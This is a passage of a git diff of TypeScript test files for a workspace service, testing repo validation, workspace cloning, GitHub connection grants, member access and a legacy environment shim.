"/folders", { + ...json({ name }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + expect(response.status).toBe(201); + return (await response.json<{ folder: { id: string } }>()).folder.id; +} + +describe("workspace clones and repos", () => { + beforeEach(resetDatabase); + afterEach(() => vi.restoreAllMocks()); + + it("unmounts the template surface and still validates a create", async () => { + const { app } = harness(); + const owner = await operatorSession(app); + + // Templates are disabled product-wide (2026-08-29): the routes are not + // registered, so the API answers 404 rather than an empty list. + for (const [path, init] of [ + ["/workspace-templates", { headers: { Cookie: owner } }], + ["/workspace-templates/anything", { headers: { Cookie: owner } }], + ["/workspace-templates", { + ...json({ name: "nope", machineTypeId: "small", folderIds: [] }), + headers: { Cookie: owner, "Content-Type": "application/json" }, + }], + ] as const) { + expect((await appRequest(app, path, init)).status, path).toBe(404); + } + + // A create that names a template is refused rather than quietly ignored. + const templated = await appRequest(app, "/workspaces", { + ...json({ templateId: "missing-template" }), + headers: { Cookie: owner, "Content-Type": "application/json" }, + }); + expect(templated.status).toBe(400); + await expect(templated.json()).resolves.toMatchObject({ + error: expect.stringContaining("cloneFromWorkspaceId"), + }); + + expect((await appRequest(app, "/workspaces", { + ...json({ name: "no-machine" }), + headers: { Cookie: owner, "Content-Type": "application/json" }, + })).status).toBe(400); + expect((await appRequest(app, "/workspaces", { + ...json({ cloneFromWorkspaceId: "missing-workspace" }), + headers: { Cookie: owner, "Content-Type": "application/json" }, + })).status).toBe(404); + }); + + it("validates repos on a create and force-attaches the github connection", async () => { + const { app } = harness(); + const owner = await operatorSession(app); + const post = (body: object, cookie = owner) => appRequest(app, "/workspaces", { + ...json(body), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + + for (const bad of ["no-slash", "owner/name/extra", "owner/", "/name", "owner/na me"]) { + expect((await post({ machineTypeId: "small", repos: [bad] })).status, bad).toBe(400); + } + expect((await post({ + machineTypeId: "small", + repos: Array.from({ length: 17 }, (_entry, index) => `owner/repo-${String(index)}`), + })).status).toBe(400); + const collision = await post({ + machineTypeId: "small", + repos: ["acme/app", "blitz/app"], + }); + expect(collision.status).toBe(400); + await expect(collision.json()).resolves.toMatchObject({ + error: expect.stringContaining("clone into the same directory"), + }); + expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM workspaces") + .first("count")).toBe(0); + + // Duplicates collapse; github rides along because cloning mints through + // the baked git credential helper. + vi.spyOn(globalThis, "fetch").mockResolvedValue(new Response(null, { status: 200 })); + const created = await post({ + machineTypeId: "small", + repos: ["blitzdotdev/blitz-core", "acme/tools", "blitzdotdev/blitz-core"], + connections: ["linear"], + }); + expect(created.status).toBe(201); + const workspace = (await created.json<{ workspace: WorkspaceView }>()).workspace; + expect(workspace.connections).toContain("github"); + expect(workspace.connections).toContain("linear"); + await expect(env.DB.prepare( + "SELECT repo FROM workspace_repos WHERE workspace_id = ?1 ORDER BY repo", + ).bind(workspace.id).all<{ repo: string }>() + .then((result) => result.results.map(({ repo }) => repo))).resolves.toEqual([ + "acme/tools", + "blitzdotdev/blitz-core", + ]); + }); + + it("boots a workspace clone with the detached clone loop", async () => { + const { app, providers } = harness(); + const owner = await operatorSession(app); + vi.spyOn(globalThis, "fetch").mockResolvedValue(new Response(null, { status: 200 })); + + const source = (await (await appRequest(app, "/workspaces", { + ...json({ + name: "repo starter", + machineTypeId: "small", + repos: ["blitzdotdev/blitz-core", "acme/tools"], + }), + headers: { Cookie: owner, "Content-Type": "application/json" }, + })).json<{ workspace: WorkspaceView }>()).workspace; + + const created = await appRequest(app, "/workspaces", { + ...json({ cloneFromWorkspaceId: source.id }), + headers: { Cookie: owner, "Content-Type": "application/json" }, + }); + expect(created.status).toBe(201); + const workspace = (await created.json<{ workspace: WorkspaceView }>()).workspace; + const userData = providers.userData.get(workspace.id) ?? ""; + expect(userData).toContain( + "[ -d /workspace/blitz-core/.git ] || git clone https://github.com/blitzdotdev/blitz-core /workspace/blitz-core || cloned=false", + ); + expect(userData).toContain( + "[ -d /workspace/tools/.git ] || git clone https://github.com/acme/tools /workspace/tools || cloned=false", + ); + // The clone owns its own list, so it is a starting point and not a link. + await expect(env.DB.prepare( + "SELECT repo FROM workspace_repos WHERE workspace_id = ?1 ORDER BY repo", + ).bind(workspace.id).all<{ repo: string }>() + .then((result) => result.results.map(({ repo }) => repo))).resolves.toEqual([ + "acme/tools", + "blitzdotdev/blitz-core", + ]); + + // An ordinary create on the same instance carries none of it. + const plain = await appRequest(app, "/workspaces", { + ...json({ machineTypeId: "small" }), + headers: { Cookie: owner, "Content-Type": "application/json" }, + }); + expect(plain.status).toBe(201); + const plainWorkspace = (await plain.json<{ workspace: WorkspaceView }>()).workspace; + expect(providers.userData.get(plainWorkspace.id) ?? "").not.toContain("git clone"); + expect(await env.DB.prepare( + "SELECT COUNT(*) AS count FROM workspace_repos WHERE workspace_id = ?1", + ).bind(plainWorkspace.id).first("count")).toBe(0); + }); + + it("clones and stores a request repo list on a plain create", async () => { + const { app, providers } = harness(); + const owner = await operatorSession(app); + // Reachable anonymously, so every repo probes public and no grant is owed. + vi.spyOn(globalThis, "fetch").mockResolvedValue(new Response(null, { status: 200 })); + + const created = await appRequest(app, "/workspaces", { + ...json({ + machineTypeId: "small", + repos: ["blitzdotdev/blitz-core", "acme/tools"], + }), + headers: { Cookie: owner, "Content-Type": "application/json" }, + }); + expect(created.status).toBe(201); + const workspace = (await created.json<{ workspace: WorkspaceView }>()).workspace; + + await expect(env.DB.prepare( + "SELECT repo, private FROM workspace_repos WHERE workspace_id = ?1 ORDER BY repo", + ).bind(workspace.id).all<{ repo: string; private: number }>() + .then((result) => result.results)).resolves.toEqual([ + { repo: "acme/tools", private: 0 }, + { repo: "blitzdotdev/blitz-core", private: 0 }, + ]); + const userData = providers.userData.get(workspace.id) ?? ""; + expect(userData).toContain( + "[ -d /workspace/blitz-core/.git ] || git clone https://github.com/blitzdotdev/blitz-core /workspace/blitz-core || cloned=false", + ); + // Cloning mints through the box git credential helper, so naming repos + // stipulates github exactly as naming them on a template does. + await expect(env.DB.prepare("SELECT manifest FROM workspaces WHERE id = ?1") + .bind(workspace.id).first("manifest")).resolves.toContain("github"); + }); + + it("refuses a create that names both a clone source and its own repos", async () => { + const { app } = harness(); + const owner = await operatorSession(app); + vi.spyOn(globalThis, "fetch").mockResolvedValue(new Response(null, { status: 200 })); + + const source = (await (await appRequest(app, "/workspaces", { + ...json({ machineTypeId: "small", repos: ["blitzdotdev/blitz-core"] }), + headers: { Cookie: owner, "Content-Type": "application/json" }, + })).json<{ workspace: WorkspaceView }>()).workspace; + + // Refused, not resolved: a silent winner would turn one UI bug into a + // clone list nobody can explain from the request that produced it. + const both = await appRequest(app, "/workspaces", { + ...json({ cloneFromWorkspaceId: source.id, repos: ["acme/tools"] }), + headers: { Cookie: owner, "Content-Type": "application/json" }, + }); + expect(both.status).toBe(400); + await expect(both.json()).resolves.toMatchObject({ + error: "repos cannot be combined with cloneFromWorkspaceId", + }); + expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM workspaces") + .first("count")).toBe(1); + }); + + it("applies the shared repo validators to a request list", async () => { + const { app } = harness(); + const owner = await operatorSession(app); + const fetch = vi.spyOn(globalThis, "fetch"); + + const cases: Array<[string[], string]> = [ + [["https://github.com/acme/tools"], 'repos entries must be "owner/name"'], + [ + Array.from({ length: 17 }, (_entry, index) => `acme/repo-${String(index)}`), + "repos must have at most 16 entries", + ], + // Both would clone into /workspace/app and fight over the directory. + [["acme/app", "other/app"], "clone into the same directory"], + ]; + for (const [repos, message] of cases) { + const refused = await appRequest(app, "/workspaces", { + ...json({ machineTypeId: "small", repos }), + headers: { Cookie: owner, "Content-Type": "application/json" }, + }); + expect(refused.status, message).toBe(400); + await expect(refused.json(), message).resolves.toMatchObject({ + error: expect.stringContaining(message), + }); + } + // Every one of these is decided at the boundary, before any probe. + expect(fetch).not.toHaveBeenCalled(); + }); + + it("refuses a private request repo to a member who holds only a pasted token", async () => { + const { app } = harness(); + const owner = await operatorSession(app); + expect((await appRequest(app, "/connections/grants/github", { + method: "PUT", + headers: { Cookie: owner, "Content-Type": "application/json" }, + body: JSON.stringify({ + manifestId: "github", + token: "github_pat_test-workspace-repo-owner", + }), + })).status).toBe(204); + vi.spyOn(globalThis, "fetch").mockImplementation(async (_input, init) => ( + new Response(null, { + status: new Headers(init?.headers).has("Authorization") ? 200 : 404, + }) + )); + + const refused = await appRequest(app, "/workspaces", { + ...json({ machineTypeId: "small", repos: ["acme/private-tools"] }), + headers: { Cookie: owner, "Content-Type": "application/json" }, + }); + + expect(refused.status).toBe(409); + await expect(refused.json()).resolves.toMatchObject({ + error: expect.stringContaining("connect GitHub through the App"), + }); + expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM workspace_repos") + .first("count")).toBe(0); + }); + + it("refuses a private repo on a clone until that member connects GitHub", async () => { + const { app, providers } = harness(); + const owner = await operatorSession(app); + const member = await sameOrgSession("private-repo-member", "admin"); + expect((await appRequest(app, "/connections/grants/github", { + method: "PUT", + headers: { Cookie: owner, "Content-Type": "application/json" }, + body: JSON.stringify({ + manifestId: "github", + token: "github_pat_test-private-repo-owner", + }), + })).status).toBe(204); + vi.spyOn(globalThis, "fetch").mockImplementation(async (input, init) => { + if (String(input).startsWith("https://github.com/login/oauth/access_token")) { + return Response.json({ + access_token: "ghu_test-private-repo-member", + expires_in: 28_800, + refresh_token: "ghr_test-private-repo-member", + refresh_token_expires_in: 15_897_600, + scope: "", + token_type: "bearer", + }); + } + // The git probe: reachable with a credential, hidden without one, which + // is what "private but reachable" looks like from the transport. + return new Response(null, { + status: new Headers(init?.headers).has("Authorization") ? 200 : 404, + }); + }); + // The owner holds an App grant, so the source create probes private. + await connectGithubApp(app, owner); + const source = (await (await appRequest(app, "/workspaces", { + ...json({ name: "private starter", machineTypeId: "small", repos: ["acme/private-tools"] }), + headers: { Cookie: owner, "Content-Type": "application/json" }, + })).json<{ workspace: WorkspaceView }>()).workspace; + + await expect(env.DB.prepare( + "SELECT repo, private FROM workspace_repos WHERE workspace_id = ?1", + ).bind(source.id).first()).resolves.toEqual({ repo: "acme/private-tools", private: 1 }); + + const refused = await appRequest(app, "/workspaces", { + ...json({ cloneFromWorkspaceId: source.id }), + headers: { Cookie: member.cookie, "Content-Type": "application/json" }, + }); + expect(refused.status).toBe(409); + await expect(refused.json()).resolves.toMatchObject({ + error: expect.stringContaining("connect GitHub"), + }); + + const pasted = await appRequest(app, "/connections/grants/github", { + method: "PUT", + headers: { Cookie: member.cookie, "Content-Type": "application/json" }, + body: JSON.stringify({ + manifestId: "github", + token: "github_pat_test-private-repo-member", + }), + }); + expect(pasted.status).toBe(204); + + // A pasted token still buys nothing here. Its reach is whatever the member + // chose on github.com, which the product can neither see nor trust, so the + // clone stays refused until the App grant replaces it. + expect((await appRequest(app, "/workspaces", { + ...json({ cloneFromWorkspaceId: source.id }), + headers: { Cookie: member.cookie, "Content-Type": "application/json" }, + })).status).toBe(409); + + await connectGithubApp(app, member.cookie); + + const created = await appRequest(app, "/workspaces", { + ...json({ cloneFromWorkspaceId: source.id }), + headers: { Cookie: member.cookie, "Content-Type": "application/json" }, + }); + expect(created.status).toBe(201); + const workspace = (await created.json<{ workspace: WorkspaceView }>()).workspace; + expect(providers.userData.get(workspace.id) ?? "").toContain( + "git clone https://github.com/acme/private-tools /workspace/private-tools", + ); + }); + + it("gives a member named at create their reach, and clears it on removal", async () => { + const { app } = harness(); + const owner = await operatorSession(app); + const member = await sameOrgSession("neighbor"); + + const created = await appRequest(app, "/workspaces", { + ...json({ + machineTypeId: "small", + members: [{ membershipId: member.membershipId, role: "member" }], + }), + headers: { Cookie: owner, "Content-Type": "application/json" }, + }); + expect(created.status).toBe(201); + const workspace = (await created.json<{ workspace: WorkspaceView }>()).workspace; + + // The members editor is the only membership control at create: a named + // member gets a workspace_members row at the role they were given. + const detail = await appRequest(app, `/workspaces/${workspace.id}`, { + headers: { Cookie: member.cookie }, + }); + expect(detail.status).toBe(200); + await expect(detail.json()).resolves.toMatchObject({ + workspace: { role: "editor", myRole: "member" }, + }); + expect((await appRequest(app, `/workspaces/${workspace.id}`, { + method: "DELETE", + headers: { Cookie: member.cookie }, + })).status).toBe(403); + + // Removing the member is what clears their reach; there is no org-wide + // pointer left to unset. + expect((await appRequest(app, `/workspaces/${workspace.id}/members/${member.membershipId}`, { + method: "DELETE", + headers: { Cookie: owner }, + })).status).toBe(204); + expect((await appRequest(app, `/workspaces/${workspace.id}`, { + headers: { Cookie: member.cookie }, + })).status).toBe(403); + + const folder = await createFolder(app, owner, "handbook"); + const path = `/folders/${folder}/objects/${encodeURIComponent("guide.md")}`; + expect((await appRequest(app, `/folders/${folder}`, { + method: "PATCH", + headers: { Cookie: owner, "Content-Type": "application/json" }, + body: JSON.stringify({ orgRole: "editor" }), + })).status).toBe(204); + expect((await appRequest(app, path, { + method: "PUT", + headers: { Cookie: member.cookie, "x-blitz-mtime": "10" }, + body: "hello", + })).status).toBe(204); + expect((await appRequest(app, `/folders/${folder}`, { + method: "PATCH", + headers: { Cookie: owner, "Content-Type": "application/json" }, + body: JSON.stringify({ orgRole: "viewer" }), + })).status).toBe(204); + expect((await appRequest(app, path, { + method: "PUT", + headers: { Cookie: member.cookie, "x-blitz-mtime": "11" }, + body: "denied", + })).status).toBe(403); + expect((await appRequest(app, `/folders/${folder}/objects`, { + headers: { Cookie: member.cookie }, + })).status).toBe(200); + }); +}); diff --git a/packages/control-plane/test/workspace-environment-conformance.test.ts b/packages/control-plane/test/workspace-environment-conformance.test.ts deleted file mode 100644 index 0c760b40..00000000 --- a/packages/control-plane/test/workspace-environment-conformance.test.ts +++ /dev/null @@ -1,29 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { parseWorkspaceEnvironmentResponse } from "../core/environment.js"; -import type { JsonValue } from "../core/http.js"; - -const fixtureSources = import.meta.glob( - "../../schema/fixtures/workspace-environment/**/*.json", - { eager: true, import: "default", query: "?raw" }, -); - -function fixtures(directory: "valid" | "invalid"): Array<[string, JsonValue]> { - return Object.entries(fixtureSources) - .filter(([path]) => path.includes(`/workspace-environment/${directory}/`)) - .sort(([left], [right]) => left.localeCompare(right)) - .map(([path, source]) => [path, JSON.parse(source)]); -} - -describe("workspace environment shared fixtures", () => { - it("accepts every valid response", () => { - for (const [path, value] of fixtures("valid")) { - expect(() => parseWorkspaceEnvironmentResponse(value), path).not.toThrow(); - } - }); - - it("rejects every invalid response", () => { - for (const [path, value] of fixtures("invalid")) { - expect(() => parseWorkspaceEnvironmentResponse(value), path).toThrow(); - } - }); -}); diff --git a/packages/control-plane/test/workspace-environment.test.ts b/packages/control-plane/test/workspace-environment.test.ts index 91b0f557..3dc616c6 100644 --- a/packages/control-plane/test/workspace-environment.test.ts +++ b/packages/control-plane/test/workspace-environment.test.ts @@ -1,162 +1,77 @@ import type { WorkspaceEnvironmentResponse, WorkspaceView } from "@blitzos/schema"; -import { env } from "cloudflare:workers"; import { beforeEach, describe, expect, it } from "vitest"; -import { scheduledSyncsSettled } from "../core/files/sync.js"; import { appRequest, + boxTokenFor, createWorkspace, harness, operatorSession, - phoneHomeUrl, resetDatabase, - sameOrgSession, } from "./helpers.js"; -describe("workspace environments", () => { +/** + * The workspace environment is retired (plans/MEMBER-MACHINES.md §1). + * + * Values live in `workspace_credentials` and only `blitz-cred` reads them; the + * startup script has no runner left. What survives is a compatibility shim, + * and these tests pin exactly what it owes: DEPLOYED broker binaries poll + * `GET /workspaces/self/environment` every second at boot and wait for a 200 + * carrying all three fields with `filesReady: true`. A 404 or a dropped field + * makes every already-deployed box poll forever. + */ +describe("workspace environment (legacy shim)", () => { beforeEach(resetDatabase); - it("validates, stores, and projects a workspace environment", async () => { - const { app } = harness(); + it("answers the empty set with all three fields and filesReady true", async () => { + const { app, providers } = harness(); const cookie = await operatorSession(app); - const environment = { - env: { API_ORIGIN: "https://api.example", EMPTY: "" }, - startupScript: "printf ready\n", - }; - const created = await appRequest(app, "/workspaces", { - method: "POST", - headers: { Cookie: cookie, "Content-Type": "application/json" }, - body: JSON.stringify({ machineTypeId: "small", environment }), - }); - expect(created.status).toBe(201); - expect((await created.json<{ workspace: WorkspaceView }>()).workspace.environment) - .toEqual(environment); + const workspace = await createWorkspace(app, cookie); + const token = await boxTokenFor(app, providers, workspace.id); - const invalid = [ - { env: { "BAD-KEY": "x" }, startupScript: null }, - { env: { PORT: 3000 }, startupScript: null }, - { env: Object.fromEntries(Array.from({ length: 51 }, (_, index) => [`KEY_${index}`, "x"])), startupScript: null }, - { env: { LARGE: "x".repeat(8 * 1024) }, startupScript: null }, - { env: {}, startupScript: "x".repeat(64 * 1024 + 1) }, - ]; - for (const candidate of invalid) { - const response = await appRequest(app, "/workspaces", { - method: "POST", - headers: { Cookie: cookie, "Content-Type": "application/json" }, - body: JSON.stringify({ machineTypeId: "small", environment: candidate }), + for (const path of ["/workspaces/self/environment", `/workspaces/${workspace.id}/environment`]) { + const response = await appRequest(app, path, { + headers: { Authorization: `Bearer ${token}` }, }); - expect(response.status, JSON.stringify(candidate).slice(0, 100)).toBe(400); + expect(response.status, path).toBe(200); + const body = await response.json(); + // Exactly these keys: the box decodes with DisallowUnknownFields and + // waits for filesReady, so a missing or extra field is a boot that never + // finishes. + expect(Object.keys(body).sort()).toEqual(["env", "filesReady", "startupScript"]); + expect(body).toEqual({ env: {}, startupScript: null, filesReady: true }); } }); - it("serves only the authenticated box's environment and files-ready state", async () => { + it("still refuses an unauthenticated caller and another workspace's id", async () => { const { app, providers } = harness(); const cookie = await operatorSession(app); - const environment = { - env: { PROJECT_MODE: "analysis" }, - startupScript: "touch booted\n", - }; - const created = await appRequest(app, "/workspaces", { - method: "POST", - headers: { Cookie: cookie, "Content-Type": "application/json" }, - body: JSON.stringify({ machineTypeId: "small", environment }), - }); - const workspace = (await created.json<{ workspace: WorkspaceView }>()).workspace; - const ready = await appRequest(app, new URL(phoneHomeUrl(providers, workspace.id)).pathname, { - method: "POST", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ pub_key_ed25519: "ssh-ed25519 AAAAhost" }), - }); - const box = await ready.json<{ access_token: string }>(); - await scheduledSyncsSettled(); - await env.DB.prepare("UPDATE workspaces SET files_ready = 0 WHERE id = ?1") - .bind(workspace.id).run(); - - const self = await appRequest(app, "/workspaces/self/environment", { - headers: { Authorization: `Bearer ${box.access_token}` }, - }); - expect(self.status).toBe(200); - expect(await self.json()).toEqual({ - ...environment, - filesReady: false, - }); - - const nonBox = await appRequest(app, "/workspaces/self/environment", { - headers: { Cookie: cookie }, - }); - expect(nonBox.status).toBe(401); - await expect(nonBox.json()).resolves.toMatchObject({ error: "invalid box access token" }); - + const mine = await createWorkspace(app, cookie); const other = await createWorkspace(app, cookie); - const crossWorkspace = await appRequest(app, `/workspaces/${other.id}/environment`, { - headers: { Authorization: `Bearer ${box.access_token}` }, - }); - expect(crossWorkspace.status).toBe(403); - await expect(crossWorkspace.json()).resolves.toMatchObject({ - error: "a box may only read its own workspace environment", - }); + const token = await boxTokenFor(app, providers, mine.id); - await env.DB.prepare("UPDATE workspaces SET files_ready = 1 WHERE id = ?1") - .bind(workspace.id).run(); - const complete = await appRequest(app, "/workspaces/self/environment", { - headers: { Authorization: `Bearer ${box.access_token}` }, - }); - await expect(complete.json()).resolves.toEqual({ ...environment, filesReady: true }); + expect((await appRequest(app, "/workspaces/self/environment")).status).toBe(401); + expect((await appRequest(app, `/workspaces/${other.id}/environment`, { + headers: { Authorization: `Bearer ${token}` }, + })).status).toBe(403); }); - it("hides env values and the startup script from members who cannot open the workspace", async () => { + it("ignores a legacy environment field on a create", async () => { const { app } = harness(); const cookie = await operatorSession(app); - const environment = { - env: { API_ORIGIN: "https://api.example" }, - startupScript: "printf secret\n", - }; const created = await appRequest(app, "/workspaces", { method: "POST", headers: { Cookie: cookie, "Content-Type": "application/json" }, - body: JSON.stringify({ machineTypeId: "small", environment }), + body: JSON.stringify({ + machineTypeId: "small", + environment: { env: { API_ORIGIN: "https://api.example" }, startupScript: null }, + }), }); + // The field is gone from the request, not refused: an old client that + // still sends one gets its workspace, and the value goes nowhere. A + // credential is written through `credentials` now. + expect(created.status).toBe(201); const workspace = (await created.json<{ workspace: WorkspaceView }>()).workspace; - const member = await sameOrgSession("bystander"); - - // GET /workspaces returns every row in the org. A member with no grant and - // no org share reads the row, so the environment has to be gated the same - // way `ssh` is or the whole org reads the config. - const listed = await appRequest(app, "/workspaces", { headers: { Cookie: member.cookie } }); - const rows = (await listed.json<{ workspaces: WorkspaceView[] }>()).workspaces; - const seen = rows.find(({ id }) => id === workspace.id); - expect(seen?.role).toBeNull(); - expect(seen?.environment).toBeNull(); - - expect((await appRequest(app, `/workspaces/${workspace.id}/org-role`, { - method: "PUT", - headers: { Cookie: cookie, "Content-Type": "application/json" }, - body: JSON.stringify({ role: "viewer" }), - })).status).toBe(204); - const shared = await appRequest(app, "/workspaces", { headers: { Cookie: member.cookie } }); - const visible = (await shared.json<{ workspaces: WorkspaceView[] }>()).workspaces - .find(({ id }) => id === workspace.id); - expect(visible?.environment).toEqual(environment); - }); - - it("treats an unparseable stored environment as none configured", async () => { - const { app } = harness(); - const cookie = await operatorSession(app); - const workspace = await createWorkspace(app, cookie); - const healthy = await createWorkspace(app, cookie); - await env.DB.prepare("UPDATE workspaces SET environment = ?2 WHERE id = ?1") - .bind(workspace.id, '{"env":{"BAD-KEY":"x"},"startupScript":null}').run(); - - // One corrupt row must not take down the list for the whole org. - const listed = await appRequest(app, "/workspaces", { headers: { Cookie: cookie } }); - expect(listed.status).toBe(200); - const rows = (await listed.json<{ workspaces: WorkspaceView[] }>()).workspaces; - expect(rows.find(({ id }) => id === workspace.id)?.environment).toBeNull(); - expect(rows.map(({ id }) => id)).toContain(healthy.id); - - const single = await appRequest(app, `/workspaces/${workspace.id}`, { - headers: { Cookie: cookie, Accept: "application/json" }, - }); - expect(single.status).toBe(200); + expect(workspace.credentials).toEqual([]); }); it("rejects a create body larger than the request ceiling", async () => { @@ -165,7 +80,10 @@ describe("workspace environments", () => { const response = await appRequest(app, "/workspaces", { method: "POST", headers: { Cookie: cookie, "Content-Type": "application/json" }, - body: JSON.stringify({ machineTypeId: "small", userData: "x".repeat(200 * 1024) }), + body: JSON.stringify({ + machineTypeId: "small", + userData: "#cloud-config\n".padEnd(200 * 1024, "x"), + }), }); expect(response.status).toBe(413); }); diff --git a/packages/control-plane/test/workspace-templates.test.ts b/packages/control-plane/test/workspace-templates.test.ts deleted file mode 100644 index 191759c7..00000000 --- a/packages/control-plane/test/workspace-templates.test.ts +++ /dev/null @@ -1,768 +0,0 @@ -import { env } from "cloudflare:workers"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import type { WorkspaceTemplateView, WorkspaceView } from "@blitzos/schema"; -import { - appRequest, - harness, - operatorSession, - sameOrgSession, - resetDatabase, - testConnectSecrets, - userSession, -} from "./helpers.js"; - -function json(body: object) { - return { - method: "POST", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify(body), - }; -} - -/** Walks the real authorize -> callback round trip. A pasted token cannot - * stand in for this: private repos in a workspace are App-only, and the two - * grants are distinguishable to every route that cares. The ambient fetch mock - * has to answer the token endpoint. */ -async function connectGithubApp( - app: ReturnType["app"], - cookie: string, -): Promise { - testConnectSecrets.set("GITHUB_APP_CLIENT_ID", "github-client-id"); - testConnectSecrets.set("GITHUB_APP_CLIENT_SECRET", "github-client-secret"); - const started = await appRequest(app, "/connect/github/start", { - headers: { Cookie: cookie }, - }); - expect(started.status).toBe(302); - const authorize = new URL(started.headers.get("location") ?? ""); - const state = authorize.searchParams.get("state") ?? ""; - const stateCookie = (started.headers.get("set-cookie") ?? "").split(";")[0] ?? ""; - const callback = await appRequest( - app, - `/connect/github/callback?code=github-code&state=${encodeURIComponent(state)}`, - { headers: { Cookie: stateCookie } }, - ); - expect(callback.status).toBe(302); -} - -async function createFolder( - app: ReturnType["app"], - cookie: string, - name: string, -): Promise { - const response = await appRequest(app, "/folders", { - ...json({ name }), - headers: { Cookie: cookie, "Content-Type": "application/json" }, - }); - expect(response.status).toBe(201); - return (await response.json<{ folder: { id: string } }>()).folder.id; -} - -describe("workspace templates", () => { - beforeEach(resetDatabase); - afterEach(() => vi.restoreAllMocks()); - - it("updates a template, preserving folders the editor can no longer read", async () => { - const { app } = harness(); - await operatorSession(app); - const member = await sameOrgSession("author"); - const bystander = await sameOrgSession("bystander"); - - const lent = await appRequest(app, "/folders", { - ...json({ name: "lent-notes" }), - headers: { Cookie: bystander.cookie, "Content-Type": "application/json" }, - }); - const folderId = (await lent.json<{ folder: { id: string } }>()).folder.id; - const granted = await appRequest(app, `/folders/${folderId}/grants`, { - ...json({ membershipId: member.membershipId, role: "editor" }), - headers: { Cookie: bystander.cookie, "Content-Type": "application/json" }, - }); - const grantId = (await granted.json<{ grant: { id: string } }>()).grant.id; - - const created = await appRequest(app, "/workspace-templates", { - ...json({ name: "draft", machineTypeId: "small", folderIds: [folderId] }), - headers: { Cookie: member.cookie, "Content-Type": "application/json" }, - }); - expect(created.status).toBe(201); - const template = (await created.json<{ template: WorkspaceTemplateView }>()).template; - - // The lender revokes access; the creator keeps editing rights on the - // template itself but can no longer read the attached folder. - expect((await appRequest(app, `/folders/${folderId}/grants/${grantId}`, { - method: "DELETE", - headers: { Cookie: bystander.cookie }, - })).status).toBe(204); - - // A same-org member who is neither creator nor admin cannot edit. - expect((await appRequest(app, `/workspace-templates/${template.id}`, { - ...json({ name: "hijack", machineTypeId: "small", folderIds: [] }), - method: "PUT", - headers: { Cookie: bystander.cookie, "Content-Type": "application/json" }, - })).status).toBe(403); - - // The creator renames while keeping the now-unreadable folder attached. - const renamed = await appRequest(app, `/workspace-templates/${template.id}`, { - ...json({ name: "field study", machineTypeId: "small", folderIds: [folderId] }), - method: "PUT", - headers: { Cookie: member.cookie, "Content-Type": "application/json" }, - }); - expect(renamed.status).toBe(200); - const view = (await renamed.json<{ template: WorkspaceTemplateView }>()).template; - expect(view.name).toBe("field study"); - expect(view.folders.map(({ id, role }) => [id, role])).toEqual([[folderId, null]]); - - // Adding a folder the editor cannot read still fails. - const secret = await appRequest(app, "/folders", { - ...json({ name: "other-notes" }), - headers: { Cookie: bystander.cookie, "Content-Type": "application/json" }, - }); - const secretId = (await secret.json<{ folder: { id: string } }>()).folder.id; - expect((await appRequest(app, `/workspace-templates/${template.id}`, { - ...json({ name: "field study 3", machineTypeId: "small", folderIds: [folderId, secretId] }), - method: "PUT", - headers: { Cookie: member.cookie, "Content-Type": "application/json" }, - })).status).toBe(403); - }); - - it("creates, lists, applies, and deletes a template with per-viewer folder access", async () => { - const { app } = harness(); - const owner = await operatorSession(app); - const member = await sameOrgSession("colleague"); - - const orgFolder = await createFolder(app, owner, "datasets"); - const privateFolder = await createFolder(app, owner, "secrets"); - expect((await appRequest(app, `/folders/${orgFolder}`, { - method: "PATCH", - headers: { Cookie: owner, "Content-Type": "application/json" }, - body: JSON.stringify({ orgRole: "viewer" }), - })).status).toBe(204); - - const templateEnvironment = { - env: { API_ORIGIN: "https://api.example" }, - startupScript: "npm install\n", - }; - const created = await appRequest(app, "/workspace-templates", { - ...json({ - name: "web analysis", - machineTypeId: "small", - folderIds: [orgFolder, privateFolder], - environment: templateEnvironment, - }), - headers: { Cookie: owner, "Content-Type": "application/json" }, - }); - expect(created.status).toBe(201); - const template = (await created.json<{ template: WorkspaceTemplateView }>()).template; - expect(template.machineTypeId).toBe("small"); - expect(template.environment).toEqual(templateEnvironment); - - // PUT takes the full create shape, so it replaces the environment too. - const edited = { env: { API_ORIGIN: "https://api.example/v2" }, startupScript: null }; - const updated = await appRequest(app, `/workspace-templates/${template.id}`, { - ...json({ - name: "web analysis", - machineTypeId: "small", - folderIds: [orgFolder, privateFolder], - environment: edited, - }), - method: "PUT", - headers: { Cookie: owner, "Content-Type": "application/json" }, - }); - expect(updated.status).toBe(200); - expect((await updated.json<{ template: WorkspaceTemplateView }>()).template.environment) - .toEqual(edited); - expect(await env.DB.prepare("SELECT environment FROM workspace_templates WHERE id = ?1") - .bind(template.id).first("environment")).toBe(JSON.stringify(edited)); - // Restore the created environment for the workspace assertions below. - expect((await appRequest(app, `/workspace-templates/${template.id}`, { - ...json({ - name: "web analysis", - machineTypeId: "small", - folderIds: [orgFolder, privateFolder], - environment: templateEnvironment, - }), - method: "PUT", - headers: { Cookie: owner, "Content-Type": "application/json" }, - })).status).toBe(200); - expect(template.folders.map(({ role }) => role)).toEqual(["owner", "owner"]); - - const memberList = await appRequest(app, "/workspace-templates", { - headers: { Cookie: member.cookie }, - }); - const listed = (await memberList.json<{ templates: WorkspaceTemplateView[] }>()).templates; - expect(listed).toHaveLength(1); - expect(listed[0]?.createdBy.name).toBe("Operator"); - expect(new Map(listed[0]?.folders.map(({ id, role }) => [id, role]))).toEqual(new Map([ - [orgFolder, "viewer"], - [privateFolder, null], - ])); - - const fromTemplate = await appRequest(app, "/workspaces", { - ...json({ templateId: template.id, orgShareRole: "editor" }), - headers: { Cookie: member.cookie, "Content-Type": "application/json" }, - }); - expect(fromTemplate.status).toBe(201); - const workspace = (await fromTemplate.json<{ workspace: WorkspaceView }>()).workspace; - expect(workspace.machineTypeId).toBe("small"); - expect(workspace.orgShareRole).toBe("editor"); - expect(workspace.name).toBe("web analysis"); - expect(workspace.environment).toEqual(templateEnvironment); - const sibling = await appRequest(app, "/workspaces", { - ...json({ - templateId: template.id, - environment: { env: { OVERRIDE: "yes" }, startupScript: null }, - }), - headers: { Cookie: member.cookie, "Content-Type": "application/json" }, - }); - await expect(sibling.json()).resolves.toMatchObject({ - workspace: { - name: "web analysis-2", - environment: { env: { 